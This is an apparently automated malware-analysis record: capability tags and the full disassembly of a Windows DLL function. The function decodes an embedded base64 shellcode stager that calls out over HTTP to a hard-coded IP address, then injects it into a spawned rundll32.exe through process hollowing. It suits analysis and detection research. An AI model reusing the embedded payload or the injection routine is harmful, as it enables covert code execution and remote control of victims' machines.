Function at 0x100010b0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x35c
mov eax, dword [0x10008004]
xor eax, ebp
mov dword [ebp - 4], eax
sub dword [ebp + 0xc], 1
jne 0x10001325
mov ecx, str._OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH_McCsPGF8Aiwgwc8ZAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH_McCswc8ZAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH_4FhfWosS64ZdaG5ldABod2luaVRoSklEN__V6AAAAAAx_1dXV1dXaGE1USP_1emkAAAAWzHJUVFqA1FRaFERAABTUGgqvK8o_9VQ6YwAAABbMdJSaAAywIRSUlJTUlBoYBRrj__VicaDw1BogDMAAIngagRQah9WaN7tSdn_1V8x_1dXav9TVmibtqmP_9WFwAEygEAADH_hfZ0BIn56wloF0EXP_VicFoc5JaSv_VMf9XagdRVlBoM9_T9v_VvwAvAAA5x3UHWFDpe____zH_6ZEBAADpyQEAAOhv____L0F4VFZYOQCKGGQynIZwNJQRkA7Q7BqMJaqXIlTSWQJLImQ6QP0I6H65Fb2FP9_XU5ZAahkUSow5H47qFStWetoDI6zc8hqggPEJSgBVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjEpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEzLjAuNzgyLjQxIFNhZmFyaS81MzUuMSBRUUJyb3dzZXIvNi45LjExMDc5LjIwMQ0KACVjDvaZWSAjWN0hNf9eItq9rP3X5nD64l_kgCs9Li1jJEnsuudOy0DRORvkMp_NGXsYayjdPg2miQ_yMt_l70PMnLMDcqKbZ07xGEqaI_gCva3iND23IBrn52RU6B3HTRbkmmrqOnVyH6OHxqvjszVlA3sDrWEQg0WlMaKiwQUd_9_UywYUkvhMJC5yLPM6MtRTzNoqCfu1a42Nv5w5ojDeemtsAaPXnq_j_1WpAaAAQAABoAABAAFdoC0UREP_Vk7kAAAAAAdlRU4nnV2gAIAAAU1Zo2JlZSP_VhcB0xosHAcOFwHXlWMPoif3__zEwMy4xNzMuMjM3LjE4AAX14QA
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100010d5
push ebx
sub ecx, edx
push esi
push edi
test ecx, ecx
jle 0x10001186
and ecx, 0x80000003
jns 0x100010f8
dec ecx
or ecx, 0xfffffffc
add ecx, 1
jne 0x10001186
mov cl, byte [str._OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH_McCsPGF8Aiwgwc8ZAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH_McCswc8ZAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH_4FhfWosS64ZdaG5ldABod2luaVRoSklEN__V6AAAAAAx_1dXV1dXaGE1USP_1emkAAAAWzHJUVFqA1FRaFERAABTUGgqvK8o_9VQ6YwAAABbMdJSaAAywIRSUlJTUlBoYBRrj__VicaDw1BogDMAAIngagRQah9WaN7tSdn_1V8x_1dXav9TVmibtqmP_9WFwAEygEAADH_hfZ0BIn56wloF0EXP_VicFoc5JaSv_VMf9XagdRVlBoM9_T9v_VvwAvAAA5x3UHWFDpe____zH_6ZEBAADpyQEAAOhv____L0F4VFZYOQCKGGQynIZwNJQRkA7Q7BqMJaqXIlTSWQJLImQ6QP0I6H65Fb2FP9_XU5ZAahkUSow5H47qFStWetoDI6zc8hqggPEJSgBVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjEpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEzLjAuNzgyLjQxIFNhZmFyaS81MzUuMSBRUUJyb3dzZXIvNi45LjExMDc5LjIwMQ0KACVjDvaZWSAjWN0hNf9eItq9rP3X5nD64l_kgCs9Li1jJEnsuudOy0DRORvkMp_NGXsYayjdPg2miQ_yMt_l70PMnLMDcqKbZ07xGEqaI_gCva3iND23IBrn52RU6B3HTRbkmmrqOnVyH6OHxqvjszVlA3sDrWEQg0WlMaKiwQUd_9_UywYUkvhMJC5yLPM6MtRTzNoqCfu1a42Nv5w5ojDeemtsAaPXnq_j_1WpAaAAQAABoAABAAFdoC0UREP_Vk7kAAAAAAdlRU4nnV2gAIAAAU1Zo2JlZSP_VhcB0xosHAcOFwHXlWMPoif3__zEwMy4xNzMuMjM3LjE4AAX14QA]
xor edx, edx
xor edi, edi
xor eax, eax
lea esi, [edx + 3]
test cl, cl
je 0x1000117f
mov ebx, str._OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH_McCsPGF8Aiwgwc8ZAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH_McCswc8ZAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH_4FhfWosS64ZdaG5ldABod2luaVRoSklEN__V6AAAAAAx_1dXV1dXaGE1USP_1emkAAAAWzHJUVFqA1FRaFERAABTUGgqvK8o_9VQ6YwAAABbMdJSaAAywIRSUlJTUlBoYBRrj__VicaDw1BogDMAAIngagRQah9WaN7tSdn_1V8x_1dXav9TVmibtqmP_9WFwAEygEAADH_hfZ0BIn56wloF0EXP_VicFoc5JaSv_VMf9XagdRVlBoM9_T9v_VvwAvAAA5x3UHWFDpe____zH_6ZEBAADpyQEAAOhv____L0F4VFZYOQCKGGQynIZwNJQRkA7Q7BqMJaqXIlTSWQJLImQ6QP0I6H65Fb2FP9_XU5ZAahkUSow5H47qFStWetoDI6zc8hqggPEJSgBVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjEpIEFwcGxlV2ViS2l0LzUzNS4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEzLjAuNzgyLjQxIFNhZmFyaS81MzUuMSBRUUJyb3dzZXIvNi45LjExMDc5LjIwMQ0KACVjDvaZWSAjWN0hNf9eItq9rP3X5nD64l_kgCs9Li1jJEnsuudOy0DRORvkMp_NGXsYayjdPg2miQ_yMt_l70PMnLMDcqKbZ07xGEqaI_gCva3iND23IBrn52RU6B3HTRbkmmrqOnVyH6OHxqvjszVlA3sDrWEQg0WlMaKiwQUd_9_UywYUkvhMJC5yLPM6MtRTzNoqCfu1a42Nv5w5ojDeemtsAaPXnq_j_1WpAaAAQAABoAABAAFdoC0UREP_Vk7kAAAAAAdlRU4nnV2gAIAAAU1Zo2JlZSP_VhcB0xosHAcOFwHXlWMPoif3__zEwMy4xNzMuMjM3LjE4AAX14QA
nop word [eax + eax]
movsx ecx, cl
lea ebx, [ebx + 1]
mov cl, byte [ecx + 0x10005258]
cmp cl, 0xff
je 0x10001186
cmp cl, 0xfd
je 0x10001179
cmp cl, 0xfe
jne 0x1000113e
xor cl, cl
dec esi
shl edx, 6
inc edi
movzx ecx, cl
or edx, ecx
cmp edi, 4
jne 0x10001179
mov ecx, edx
sar ecx, 0x10
mov byte [eax + 0x10009580], cl
inc eax
cmp esi, 1
jle 0x10001169
mov ecx, edx
sar ecx, 8
mov byte [eax + 0x10009580], cl
inc eax
cmp esi, 2
jle 0x10001175
mov byte [eax + 0x10009580], dl
inc eax
xor edx, edx
xor edi, edi
mov cl, byte [ebx]
test cl, cl
jne 0x10001120
mov dword [0x10009578], eax
jmp 0x1000118b
mov eax, dword [0x10009578]
push 0x40
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [0x10009578]
mov dword [ebp - 0x35c], eax
push 0x10009580
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov dword [ebp - 0x7c], 0x44
lea eax, [ebp - 0x358]
mov dword [ebp - 0x14], 0x646e7572
xorps xmm0, xmm0
mov dword [ebp - 0x10], 0x32336c6c
movlpd qword [ebp - 0x78], xmm0
push eax
lea eax, [ebp - 0x7c]
movlpd qword [ebp - 0x70], xmm0
push eax
push 0
push 0
push 0x44
push 0
push 0
push 0
lea eax, [ebp - 0x14]
movlpd qword [ebp - 0x68], xmm0
push eax
push 0
movlpd qword [ebp - 0x60], xmm0
movlpd qword [ebp - 0x58], xmm0
movlpd qword [ebp - 0x50], xmm0
movlpd qword [ebp - 0x48], xmm0
movlpd qword [ebp - 0x40], xmm0
mov dword [ebp - 0xc], 0x6578652e
mov byte [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10001313
lea eax, [ebp - 0x348]
mov dword [ebp - 0x348], 0x10003
push eax
push dword [ebp - 0x354]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push 0x40
push 0x1000
push dword [0x10009578]
push 0
push dword [ebp - 0x358]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push str.kernel32.dll
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
lea eax, [ebp - 0x38]
mov dword [ebp - 0x38], 0x74697257
push eax
push ebx
mov dword [ebp - 0x34], 0x6f725065
mov dword [ebp - 0x30], 0x73736563
mov dword [ebp - 0x2c], 0x6f6d654d
mov word [ebp - 0x28], 0x7972
mov byte [ebp - 0x26], 0
call esi
push 0
push dword [0x10009578]
push dword [ebp - 0x35c]
push edi
push dword [ebp - 0x358]
call eax
lea eax, [ebp - 0x348]
mov dword [ebp - 0x290], edi
push eax
push dword [ebp - 0x354]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0x75736552
push eax
push ebx
mov dword [ebp - 0x20], 0x6854656d
mov dword [ebp - 0x1c], 0x64616572
mov byte [ebp - 0x18], 0
call esi
push dword [ebp - 0x354]
call eax
push dword [ebp - 0x354]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x358]
call esi
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.10003353
mov esp, ebp
pop ebp
ret 0xc